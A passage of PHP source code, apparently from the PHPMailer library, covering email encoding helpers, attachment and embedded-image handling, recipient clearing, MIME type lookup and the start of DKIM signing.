  2830. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2831. * @access public
  2832. * @param string $str multi-byte text to wrap encode
  2833. * @param string $linebreak string to use as linefeed/end-of-line
  2834. * @return string
  2835. */
  2836. public function base64EncodeWrapMB($str, $linebreak = null)
  2837. {
  2838. $start = '=?' . $this->CharSet . '?B?';
  2839. $end = '?=';
  2840. $encoded = '';
  2841. if ($linebreak === null) {
  2842. $linebreak = $this->LE;
  2843. }
  2844.  
  2845. $mb_length = mb_strlen($str, $this->CharSet);
  2846. // Each line must have length <= 75, including $start and $end
  2847. $length = 75 - strlen($start) - strlen($end);
  2848. // Average multi-byte ratio
  2849. $ratio = $mb_length / strlen($str);
  2850. // Base64 has a 4:3 ratio
  2851. $avgLength = floor($length * $ratio * .75);
  2852.  
  2853. for ($i = 0; $i < $mb_length; $i += $offset) {
  2854. $lookBack = 0;
  2855. do {
  2856. $offset = $avgLength - $lookBack;
  2857. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2858. $chunk = base64_encode($chunk);
  2859. $lookBack++;
  2860. } while (strlen($chunk) > $length);
  2861. $encoded .= $chunk . $linebreak;
  2862. }
  2863.  
  2864. // Chomp the last linefeed
  2865. $encoded = substr($encoded, 0, -strlen($linebreak));
  2866. return $encoded;
  2867. }
  2868.  
  2869. /**
  2870. * Encode a string in quoted-printable format.
  2871. * According to RFC2045 section 6.7.
  2872. * @access public
  2873. * @param string $string The text to encode
  2874. * @param integer $line_max Number of chars allowed on a line before wrapping
  2875. * @return string
  2876. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2877. */
  2878. public function encodeQP($string, $line_max = 76)
  2879. {
  2880. // Use native function if it's available (>= PHP5.3)
  2881. if (function_exists('quoted_printable_encode')) {
  2882. return quoted_printable_encode($string);
  2883. }
  2884. // Fall back to a pure PHP implementation
  2885. $string = str_replace(
  2886. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2887. array(' ', "\r\n=2E", "\r\n", '='),
  2888. rawurlencode($string)
  2889. );
  2890. return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2891. }
  2892.  
  2893. /**
  2894. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2895. * @see PHPMailer::encodeQP()
  2896. * @access public
  2897. * @param string $string
  2898. * @param integer $line_max
  2899. * @param boolean $space_conv
  2900. * @return string
  2901. * @deprecated Use encodeQP instead.
  2902. */
  2903. public function encodeQPphp(
  2904. $string,
  2905. $line_max = 76,
  2906. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2907. ) {
  2908. return $this->encodeQP($string, $line_max);
  2909. }
  2910.  
  2911. /**
  2912. * Encode a string using Q encoding.
  2913. * @link http://tools.ietf.org/html/rfc2047
  2914. * @param string $str the text to encode
  2915. * @param string $position Where the text is going to be used, see the RFC for what that means
  2916. * @access public
  2917. * @return string
  2918. */
  2919. public function encodeQ($str, $position = 'text')
  2920. {
  2921. // There should not be any EOL in the string
  2922. $pattern = '';
  2923. $encoded = str_replace(array("\r", "\n"), '', $str);
  2924. switch (strtolower($position)) {
  2925. case 'phrase':
  2926. // RFC 2047 section 5.3
  2927. $pattern = '^A-Za-z0-9!*+\/ -';
  2928. break;
  2929. /** @noinspection PhpMissingBreakStatementInspection */
  2930. case 'comment':
  2931. // RFC 2047 section 5.2
  2932. $pattern = '\(\)"';
  2933. // intentional fall-through
  2934. // for this reason we build the $pattern without including delimiters and []
  2935. case 'text':
  2936. default:
  2937. // RFC 2047 section 5.1
  2938. // Replace every high ascii, control, =, ? and _ characters
  2939. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2940. break;
  2941. }
  2942. $matches = array();
  2943. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2944. // If the string contains an '=', make sure it's the first thing we replace
  2945. // so as to avoid double-encoding
  2946. $eqkey = array_search('=', $matches[0]);
  2947. if (false !== $eqkey) {
  2948. unset($matches[0][$eqkey]);
  2949. array_unshift($matches[0], '=');
  2950. }
  2951. foreach (array_unique($matches[0]) as $char) {
  2952. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2953. }
  2954. }
  2955. // Replace every spaces to _ (more readable than =20)
  2956. return str_replace(' ', '_', $encoded);
  2957. }
  2958.  
  2959. /**
  2960. * Add a string or binary attachment (non-filesystem).
  2961. * This method can be used to attach ascii or binary data,
  2962. * such as a BLOB record from a database.
  2963. * @param string $string String attachment data.
  2964. * @param string $filename Name of the attachment.
  2965. * @param string $encoding File encoding (see $Encoding).
  2966. * @param string $type File extension (MIME) type.
  2967. * @param string $disposition Disposition to use
  2968. * @return void
  2969. */
  2970. public function addStringAttachment(
  2971. $string,
  2972. $filename,
  2973. $encoding = 'base64',
  2974. $type = '',
  2975. $disposition = 'attachment'
  2976. ) {
  2977. // If a MIME type is not specified, try to work it out from the file name
  2978. if ($type == '') {
  2979. $type = self::filenameToType($filename);
  2980. }
  2981. // Append to $attachment array
  2982. $this->attachment[] = array(
  2983. 0 => $string,
  2984. 1 => $filename,
  2985. 2 => basename($filename),
  2986. 3 => $encoding,
  2987. 4 => $type,
  2988. 5 => true, // isStringAttachment
  2989. 6 => $disposition,
  2990. 7 => 0
  2991. );
  2992. }
  2993.  
  2994. /**
  2995. * Add an embedded (inline) attachment from a file.
  2996. * This can include images, sounds, and just about any other document type.
  2997. * These differ from 'regular' attachments in that they are intended to be
  2998. * displayed inline with the message, not just attached for download.
  2999. * This is used in HTML messages that embed the images
  3000. * the HTML refers to using the $cid value.
  3001. * @param string $path Path to the attachment.
  3002. * @param string $cid Content ID of the attachment; Use this to reference
  3003. * the content when using an embedded image in HTML.
  3004. * @param string $name Overrides the attachment name.
  3005. * @param string $encoding File encoding (see $Encoding).
  3006. * @param string $type File MIME type.
  3007. * @param string $disposition Disposition to use
  3008. * @return boolean True on successfully adding an attachment
  3009. */
  3010. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3011. {
  3012. if (!@is_file($path)) {
  3013. $this->setError($this->lang('file_access') . $path);
  3014. return false;
  3015. }
  3016.  
  3017. // If a MIME type is not specified, try to work it out from the file name
  3018. if ($type == '') {
  3019. $type = self::filenameToType($path);
  3020. }
  3021.  
  3022. $filename = basename($path);
  3023. if ($name == '') {
  3024. $name = $filename;
  3025. }
  3026.  
  3027. // Append to $attachment array
  3028. $this->attachment[] = array(
  3029. 0 => $path,
  3030. 1 => $filename,
  3031. 2 => $name,
  3032. 3 => $encoding,
  3033. 4 => $type,
  3034. 5 => false, // isStringAttachment
  3035. 6 => $disposition,
  3036. 7 => $cid
  3037. );
  3038. return true;
  3039. }
  3040.  
  3041. /**
  3042. * Add an embedded stringified attachment.
  3043. * This can include images, sounds, and just about any other document type.
  3044. * Be sure to set the $type to an image type for images:
  3045. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3046. * @param string $string The attachment binary data.
  3047. * @param string $cid Content ID of the attachment; Use this to reference
  3048. * the content when using an embedded image in HTML.
  3049. * @param string $name
  3050. * @param string $encoding File encoding (see $Encoding).
  3051. * @param string $type MIME type.
  3052. * @param string $disposition Disposition to use
  3053. * @return boolean True on successfully adding an attachment
  3054. */
  3055. public function addStringEmbeddedImage(
  3056. $string,
  3057. $cid,
  3058. $name = '',
  3059. $encoding = 'base64',
  3060. $type = '',
  3061. $disposition = 'inline'
  3062. ) {
  3063. // If a MIME type is not specified, try to work it out from the name
  3064. if ($type == '' and !empty($name)) {
  3065. $type = self::filenameToType($name);
  3066. }
  3067.  
  3068. // Append to $attachment array
  3069. $this->attachment[] = array(
  3070. 0 => $string,
  3071. 1 => $name,
  3072. 2 => $name,
  3073. 3 => $encoding,
  3074. 4 => $type,
  3075. 5 => true, // isStringAttachment
  3076. 6 => $disposition,
  3077. 7 => $cid
  3078. );
  3079. return true;
  3080. }
  3081.  
  3082. /**
  3083. * Check if an inline attachment is present.
  3084. * @access public
  3085. * @return boolean
  3086. */
  3087. public function inlineImageExists()
  3088. {
  3089. foreach ($this->attachment as $attachment) {
  3090. if ($attachment[6] == 'inline') {
  3091. return true;
  3092. }
  3093. }
  3094. return false;
  3095. }
  3096.  
  3097. /**
  3098. * Check if an attachment (non-inline) is present.
  3099. * @return boolean
  3100. */
  3101. public function attachmentExists()
  3102. {
  3103. foreach ($this->attachment as $attachment) {
  3104. if ($attachment[6] == 'attachment') {
  3105. return true;
  3106. }
  3107. }
  3108. return false;
  3109. }
  3110.  
  3111. /**
  3112. * Check if this message has an alternative body set.
  3113. * @return boolean
  3114. */
  3115. public function alternativeExists()
  3116. {
  3117. return !empty($this->AltBody);
  3118. }
  3119.  
  3120. /**
  3121. * Clear queued addresses of given kind.
  3122. * @access protected
  3123. * @param string $kind 'to', 'cc', or 'bcc'
  3124. * @return void
  3125. */
  3126. public function clearQueuedAddresses($kind)
  3127. {
  3128. $RecipientsQueue = $this->RecipientsQueue;
  3129. foreach ($RecipientsQueue as $address => $params) {
  3130. if ($params[0] == $kind) {
  3131. unset($this->RecipientsQueue[$address]);
  3132. }
  3133. }
  3134. }
  3135.  
  3136. /**
  3137. * Clear all To recipients.
  3138. * @return void
  3139. */
  3140. public function clearAddresses()
  3141. {
  3142. foreach ($this->to as $to) {
  3143. unset($this->all_recipients[strtolower($to[0])]);
  3144. }
  3145. $this->to = array();
  3146. $this->clearQueuedAddresses('to');
  3147. }
  3148.  
  3149. /**
  3150. * Clear all CC recipients.
  3151. * @return void
  3152. */
  3153. public function clearCCs()
  3154. {
  3155. foreach ($this->cc as $cc) {
  3156. unset($this->all_recipients[strtolower($cc[0])]);
  3157. }
  3158. $this->cc = array();
  3159. $this->clearQueuedAddresses('cc');
  3160. }
  3161.  
  3162. /**
  3163. * Clear all BCC recipients.
  3164. * @return void
  3165. */
  3166. public function clearBCCs()
  3167. {
  3168. foreach ($this->bcc as $bcc) {
  3169. unset($this->all_recipients[strtolower($bcc[0])]);
  3170. }
  3171. $this->bcc = array();
  3172. $this->clearQueuedAddresses('bcc');
  3173. }
  3174.  
  3175. /**
  3176. * Clear all ReplyTo recipients.
  3177. * @return void
  3178. */
  3179. public function clearReplyTos()
  3180. {
  3181. $this->ReplyTo = array();
  3182. $this->ReplyToQueue = array();
  3183. }
  3184.  
  3185. /**
  3186. * Clear all recipient types.
  3187. * @return void
  3188. */
  3189. public function clearAllRecipients()
  3190. {
  3191. $this->to = array();
  3192. $this->cc = array();
  3193. $this->bcc = array();
  3194. $this->all_recipients = array();
  3195. $this->RecipientsQueue = array();
  3196. }
  3197.  
  3198. /**
  3199. * Clear all filesystem, string, and binary attachments.
  3200. * @return void
  3201. */
  3202. public function clearAttachments()
  3203. {
  3204. $this->attachment = array();
  3205. }
  3206.  
  3207. /**
  3208. * Clear all custom headers.
  3209. * @return void
  3210. */
  3211. public function clearCustomHeaders()
  3212. {
  3213. $this->CustomHeader = array();
  3214. }
  3215.  
  3216. /**
  3217. * Add an error message to the error container.
  3218. * @access protected
  3219. * @param string $msg
  3220. * @return void
  3221. */
  3222. protected function setError($msg)
  3223. {
  3224. $this->error_count++;
  3225. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3226. $lasterror = $this->smtp->getError();
  3227. if (!empty($lasterror['error'])) {
  3228. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3229. if (!empty($lasterror['detail'])) {
  3230. $msg .= ' Detail: '. $lasterror['detail'];
  3231. }
  3232. if (!empty($lasterror['smtp_code'])) {
  3233. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3234. }
  3235. if (!empty($lasterror['smtp_code_ex'])) {
  3236. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3237. }
  3238. }
  3239. }
  3240. $this->ErrorInfo = $msg;
  3241. }
  3242.  
  3243. /**
  3244. * Return an RFC 822 formatted date.
  3245. * @access public
  3246. * @return string
  3247. * @static
  3248. */
  3249. public static function rfcDate()
  3250. {
  3251. // Set the time zone to whatever the default is to avoid 500 errors
  3252. // Will default to UTC if it's not set properly in php.ini
  3253. date_default_timezone_set(@date_default_timezone_get());
  3254. return date('D, j M Y H:i:s O');
  3255. }
  3256.  
  3257. /**
  3258. * Get the server hostname.
  3259. * Returns 'localhost.localdomain' if unknown.
  3260. * @access protected
  3261. * @return string
  3262. */
  3263. protected function serverHostname()
  3264. {
  3265. $result = 'localhost.localdomain';
  3266. if (!empty($this->Hostname)) {
  3267. $result = $this->Hostname;
  3268. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3269. $result = $_SERVER['SERVER_NAME'];
  3270. } elseif (function_exists('gethostname') && gethostname() !== false) {
  3271. $result = gethostname();
  3272. } elseif (php_uname('n') !== false) {
  3273. $result = php_uname('n');
  3274. }
  3275. return $result;
  3276. }
  3277.  
  3278. /**
  3279. * Get an error message in the current language.
  3280. * @access protected
  3281. * @param string $key
  3282. * @return string
  3283. */
  3284. protected function lang($key)
  3285. {
  3286. if (count($this->language) < 1) {
  3287. $this->setLanguage('en'); // set the default language
  3288. }
  3289.  
  3290. if (array_key_exists($key, $this->language)) {
  3291. if ($key == 'smtp_connect_failed') {
  3292. //Include a link to troubleshooting docs on SMTP connection failure
  3293. //this is by far the biggest cause of support questions
  3294. //but it's usually not PHPMailer's fault.
  3295. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3296. }
  3297. return $this->language[$key];
  3298. } else {
  3299. //Return the key as a fallback
  3300. return $key;
  3301. }
  3302. }
  3303.  
  3304. /**
  3305. * Check if an error occurred.
  3306. * @access public
  3307. * @return boolean True if an error did occur.
  3308. */
  3309. public function isError()
  3310. {
  3311. return ($this->error_count > 0);
  3312. }
  3313.  
  3314. /**
  3315. * Ensure consistent line endings in a string.
  3316. * Changes every end of line from CRLF, CR or LF to $this->LE.
  3317. * @access public
  3318. * @param string $str String to fixEOL
  3319. * @return string
  3320. */
  3321. public function fixEOL($str)
  3322. {
  3323. // Normalise to \n
  3324. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3325. // Now convert LE as needed
  3326. if ($this->LE !== "\n") {
  3327. $nstr = str_replace("\n", $this->LE, $nstr);
  3328. }
  3329. return $nstr;
  3330. }
  3331.  
  3332. /**
  3333. * Add a custom header.
  3334. * $name value can be overloaded to contain
  3335. * both header name and value (name:value)
  3336. * @access public
  3337. * @param string $name Custom header name
  3338. * @param string $value Header value
  3339. * @return void
  3340. */
  3341. public function addCustomHeader($name, $value = null)
  3342. {
  3343. if ($value === null) {
  3344. // Value passed in as name:value
  3345. $this->CustomHeader[] = explode(':', $name, 2);
  3346. } else {
  3347. $this->CustomHeader[] = array($name, $value);
  3348. }
  3349. }
  3350.  
  3351. /**
  3352. * Returns all custom headers.
  3353. * @return array
  3354. */
  3355. public function getCustomHeaders()
  3356. {
  3357. return $this->CustomHeader;
  3358. }
  3359.  
  3360. /**
  3361. * Create a message from an HTML string.
  3362. * Automatically makes modifications for inline images and backgrounds
  3363. * and creates a plain-text version by converting the HTML.
  3364. * Overwrites any existing values in $this->Body and $this->AltBody
  3365. * @access public
  3366. * @param string $message HTML message string
  3367. * @param string $basedir baseline directory for path
  3368. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3369. * or your own custom converter @see PHPMailer::html2text()
  3370. * @return string $message
  3371. */
  3372. public function msgHTML($message, $basedir = '', $advanced = false)
  3373. {
  3374. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3375. if (array_key_exists(2, $images)) {
  3376. foreach ($images[2] as $imgindex => $url) {
  3377. // Convert data URIs into embedded images
  3378. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3379. $data = substr($url, strpos($url, ','));
  3380. if ($match[2]) {
  3381. $data = base64_decode($data);
  3382. } else {
  3383. $data = rawurldecode($data);
  3384. }
  3385. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3386. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3387. $message = str_replace(
  3388. $images[0][$imgindex],
  3389. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3390. $message
  3391. );
  3392. }
  3393. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3394. // Do not change urls for absolute images (thanks to corvuscorax)
  3395. // Do not change urls that are already inline images
  3396. $filename = basename($url);
  3397. $directory = dirname($url);
  3398. if ($directory == '.') {
  3399. $directory = '';
  3400. }
  3401. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3402. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3403. $basedir .= '/';
  3404. }
  3405. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3406. $directory .= '/';
  3407. }
  3408. if ($this->addEmbeddedImage(
  3409. $basedir . $directory . $filename,
  3410. $cid,
  3411. $filename,
  3412. 'base64',
  3413. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3414. )
  3415. ) {
  3416. $message = preg_replace(
  3417. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3418. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3419. $message
  3420. );
  3421. }
  3422. }
  3423. }
  3424. }
  3425. $this->isHTML(true);
  3426. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3427. $this->Body = $this->normalizeBreaks($message);
  3428. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3429. if (empty($this->AltBody)) {
  3430. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3431. self::CRLF . self::CRLF;
  3432. }
  3433. return $this->Body;
  3434. }
  3435.  
  3436. /**
  3437. * Convert an HTML string into plain text.
  3438. * This is used by msgHTML().
  3439. * Note - older versions of this function used a bundled advanced converter
  3440. * which was been removed for license reasons in #232
  3441. * Example usage:
  3442. * <code>
  3443. * // Use default conversion
  3444. * $plain = $mail->html2text($html);
  3445. * // Use your own custom converter
  3446. * $plain = $mail->html2text($html, function($html) {
  3447. * $converter = new MyHtml2text($html);
  3448. * return $converter->get_text();
  3449. * });
  3450. * </code>
  3451. * @param string $html The HTML text to convert
  3452. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3453. * or provide your own callable for custom conversion.
  3454. * @return string
  3455. */
  3456. public function html2text($html, $advanced = false)
  3457. {
  3458. if (is_callable($advanced)) {
  3459. return call_user_func($advanced, $html);
  3460. }
  3461. return html_entity_decode(
  3462. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3463. ENT_QUOTES,
  3464. $this->CharSet
  3465. );
  3466. }
  3467.  
  3468. /**
  3469. * Get the MIME type for a file extension.
  3470. * @param string $ext File extension
  3471. * @access public
  3472. * @return string MIME type of file.
  3473. * @static
  3474. */
  3475. public static function _mime_types($ext = '')
  3476. {
  3477. $mimes = array(
  3478. 'xl' => 'application/excel',
  3479. 'js' => 'application/javascript',
  3480. 'hqx' => 'application/mac-binhex40',
  3481. 'cpt' => 'application/mac-compactpro',
  3482. 'bin' => 'application/macbinary',
  3483. 'doc' => 'application/msword',
  3484. 'word' => 'application/msword',
  3485. 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3486. 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3487. 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3488. 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3489. 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3490. 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3491. 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3492. 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3493. 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3494. 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3495. 'class' => 'application/octet-stream',
  3496. 'dll' => 'application/octet-stream',
  3497. 'dms' => 'application/octet-stream',
  3498. 'exe' => 'application/octet-stream',
  3499. 'lha' => 'application/octet-stream',
  3500. 'lzh' => 'application/octet-stream',
  3501. 'psd' => 'application/octet-stream',
  3502. 'sea' => 'application/octet-stream',
  3503. 'so' => 'application/octet-stream',
  3504. 'oda' => 'application/oda',
  3505. 'pdf' => 'application/pdf',
  3506. 'ai' => 'application/postscript',
  3507. 'eps' => 'application/postscript',
  3508. 'ps' => 'application/postscript',
  3509. 'smi' => 'application/smil',
  3510. 'smil' => 'application/smil',
  3511. 'mif' => 'application/vnd.mif',
  3512. 'xls' => 'application/vnd.ms-excel',
  3513. 'ppt' => 'application/vnd.ms-powerpoint',
  3514. 'wbxml' => 'application/vnd.wap.wbxml',
  3515. 'wmlc' => 'application/vnd.wap.wmlc',
  3516. 'dcr' => 'application/x-director',
  3517. 'dir' => 'application/x-director',
  3518. 'dxr' => 'application/x-director',
  3519. 'dvi' => 'application/x-dvi',
  3520. 'gtar' => 'application/x-gtar',
  3521. 'php3' => 'application/x-httpd-php',
  3522. 'php4' => 'application/x-httpd-php',
  3523. 'php' => 'application/x-httpd-php',
  3524. 'phtml' => 'application/x-httpd-php',
  3525. 'phps' => 'application/x-httpd-php-source',
  3526. 'swf' => 'application/x-shockwave-flash',
  3527. 'sit' => 'application/x-stuffit',
  3528. 'tar' => 'application/x-tar',
  3529. 'tgz' => 'application/x-tar',
  3530. 'xht' => 'application/xhtml+xml',
  3531. 'xhtml' => 'application/xhtml+xml',
  3532. 'zip' => 'application/zip',
  3533. 'mid' => 'audio/midi',
  3534. 'midi' => 'audio/midi',
  3535. 'mp2' => 'audio/mpeg',
  3536. 'mp3' => 'audio/mpeg',
  3537. 'mpga' => 'audio/mpeg',
  3538. 'aif' => 'audio/x-aiff',
  3539. 'aifc' => 'audio/x-aiff',
  3540. 'aiff' => 'audio/x-aiff',
  3541. 'ram' => 'audio/x-pn-realaudio',
  3542. 'rm' => 'audio/x-pn-realaudio',
  3543. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3544. 'ra' => 'audio/x-realaudio',
  3545. 'wav' => 'audio/x-wav',
  3546. 'bmp' => 'image/bmp',
  3547. 'gif' => 'image/gif',
  3548. 'jpeg' => 'image/jpeg',
  3549. 'jpe' => 'image/jpeg',
  3550. 'jpg' => 'image/jpeg',
  3551. 'png' => 'image/png',
  3552. 'tiff' => 'image/tiff',
  3553. 'tif' => 'image/tiff',
  3554. 'eml' => 'message/rfc822',
  3555. 'css' => 'text/css',
  3556. 'html' => 'text/html',
  3557. 'htm' => 'text/html',
  3558. 'shtml' => 'text/html',
  3559. 'log' => 'text/plain',
  3560. 'text' => 'text/plain',
  3561. 'txt' => 'text/plain',
  3562. 'rtx' => 'text/richtext',
  3563. 'rtf' => 'text/rtf',
  3564. 'vcf' => 'text/vcard',
  3565. 'vcard' => 'text/vcard',
  3566. 'xml' => 'text/xml',
  3567. 'xsl' => 'text/xml',
  3568. 'mpeg' => 'video/mpeg',
  3569. 'mpe' => 'video/mpeg',
  3570. 'mpg' => 'video/mpeg',
  3571. 'mov' => 'video/quicktime',
  3572. 'qt' => 'video/quicktime',
  3573. 'rv' => 'video/vnd.rn-realvideo',
  3574. 'avi' => 'video/x-msvideo',
  3575. 'movie' => 'video/x-sgi-movie'
  3576. );
  3577. if (array_key_exists(strtolower($ext), $mimes)) {
  3578. return $mimes[strtolower($ext)];
  3579. }
  3580. return 'application/octet-stream';
  3581. }
  3582.  
  3583. /**
  3584. * Map a file name to a MIME type.
  3585. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3586. * @param string $filename A file name or full path, does not need to exist as a file
  3587. * @return string
  3588. * @static
  3589. */
  3590. public static function filenameToType($filename)
  3591. {
  3592. // In case the path is a URL, strip any query string before getting extension
  3593. $qpos = strpos($filename, '?');
  3594. if (false !== $qpos) {
  3595. $filename = substr($filename, 0, $qpos);
  3596. }
  3597. $pathinfo = self::mb_pathinfo($filename);
  3598. return self::_mime_types($pathinfo['extension']);
  3599. }
  3600.  
  3601. /**
  3602. * Multi-byte-safe pathinfo replacement.
  3603. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3604. * Works similarly to the one in PHP >= 5.2.0
  3605. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3606. * @param string $path A filename or path, does not need to exist as a file
  3607. * @param integer|string $options Either a PATHINFO_* constant,
  3608. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3609. * @return string|array
  3610. * @static
  3611. */
  3612. public static function mb_pathinfo($path, $options = null)
  3613. {
  3614. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3615. $pathinfo = array();
  3616. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3617. if (array_key_exists(1, $pathinfo)) {
  3618. $ret['dirname'] = $pathinfo[1];
  3619. }
  3620. if (array_key_exists(2, $pathinfo)) {
  3621. $ret['basename'] = $pathinfo[2];
  3622. }
  3623. if (array_key_exists(5, $pathinfo)) {
  3624. $ret['extension'] = $pathinfo[5];
  3625. }
  3626. if (array_key_exists(3, $pathinfo)) {
  3627. $ret['filename'] = $pathinfo[3];
  3628. }
  3629. }
  3630. switch ($options) {
  3631. case PATHINFO_DIRNAME:
  3632. case 'dirname':
  3633. return $ret['dirname'];
  3634. case PATHINFO_BASENAME:
  3635. case 'basename':
  3636. return $ret['basename'];
  3637. case PATHINFO_EXTENSION:
  3638. case 'extension':
  3639. return $ret['extension'];
  3640. case PATHINFO_FILENAME:
  3641. case 'filename':
  3642. return $ret['filename'];
  3643. default:
  3644. return $ret;
  3645. }
  3646. }
  3647.  
  3648. /**
  3649. * Set or reset instance properties.
  3650. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3651. * harder to debug than setting properties directly.
  3652. * Usage Example:
  3653. * `$mail->set('SMTPSecure', 'tls');`
  3654. * is the same as:
  3655. * `$mail->SMTPSecure = 'tls';`
  3656. * @access public
  3657. * @param string $name The property name to set
  3658. * @param mixed $value The value to set the property to
  3659. * @return boolean
  3660. * @TODO Should this not be using the __set() magic function?
  3661. */
  3662. public function set($name, $value = '')
  3663. {
  3664. if (property_exists($this, $name)) {
  3665. $this->$name = $value;
  3666. return true;
  3667. } else {
  3668. $this->setError($this->lang('variable_set') . $name);
  3669. return false;
  3670. }
  3671. }
  3672.  
  3673. /**
  3674. * Strip newlines to prevent header injection.
  3675. * @access public
  3676. * @param string $str
  3677. * @return string
  3678. */
  3679. public function secureHeader($str)
  3680. {
  3681. return trim(str_replace(array("\r", "\n"), '', $str));
  3682. }
  3683.  
  3684. /**
  3685. * Normalize line breaks in a string.
  3686. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3687. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3688. * @param string $text
  3689. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3690. * @return string
  3691. * @access public
  3692. * @static
  3693. */
  3694. public static function normalizeBreaks($text, $breaktype = "\r\n")
  3695. {
  3696. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3697. }
  3698.  
  3699. /**
  3700. * Set the public and private key files and password for S/MIME signing.
  3701. * @access public
  3702. * @param string $cert_filename
  3703. * @param string $key_filename
  3704. * @param string $key_pass Password for private key
  3705. * @param string $extracerts_filename Optional path to chain certificate
  3706. */
  3707. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3708. {
  3709. $this->sign_cert_file = $cert_filename;
  3710. $this->sign_key_file = $key_filename;
  3711. $this->sign_key_pass = $key_pass;
  3712. $this->sign_extracerts_file = $extracerts_filename;
  3713. }
  3714.  
  3715. /**
  3716. * Quoted-Printable-encode a DKIM header.
  3717. * @access public
  3718. * @param string $txt
  3719. * @return string
  3720. */
  3721. public function DKIM_QP($txt)
  3722. {
  3723. $line = '';
  3724. for ($i = 0; $i < strlen($txt); $i++) {
  3725. $ord = ord($txt[$i]);
  3726. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3727. $line .= $txt[$i];
  3728. } else {
  3729. $line .= '=' . sprintf('%02X', $ord);
  3730. }
  3731. }
  3732. return $line;
  3733. }
  3734.  
  3735. /**
  3736. * Generate a DKIM signature.
  3737. * @access public
  3738. * @param string $signHeader
  3739. * @throws phpmailerException
  3740. * @return string
  3741. */
  3742. public function DKIM_Sign($signHeader)
  3743. {
  3744. if (!defined('PKCS7_TEXT')) {
  3745. if ($this->exceptions) {
  3746. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3747. }
  3748. return '';
  3749. }
  3750. $privKeyStr = file_get_contents($this->DKIM_private);
  3751. if ($this->DKIM_passphrase != '') {
  3752. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3753. } else {
  3754. $privKey = $privKeyStr;
  3755. }
  3756. if (openssl_sign($signHeader, $signature, $privKey)) {
  3757. return base64_encode($signature);
  3758. }
  3759. return '';
  3760. }
  3761.  
  3762. /**
  3763. * Generate a DKIM canonicalization header.
  3764. * @access public
  3765. * @param string $signHeader Header
  3766. * @return string
  3767. */
  3768. public function DKIM_HeaderC($signHeader)
  3769. {
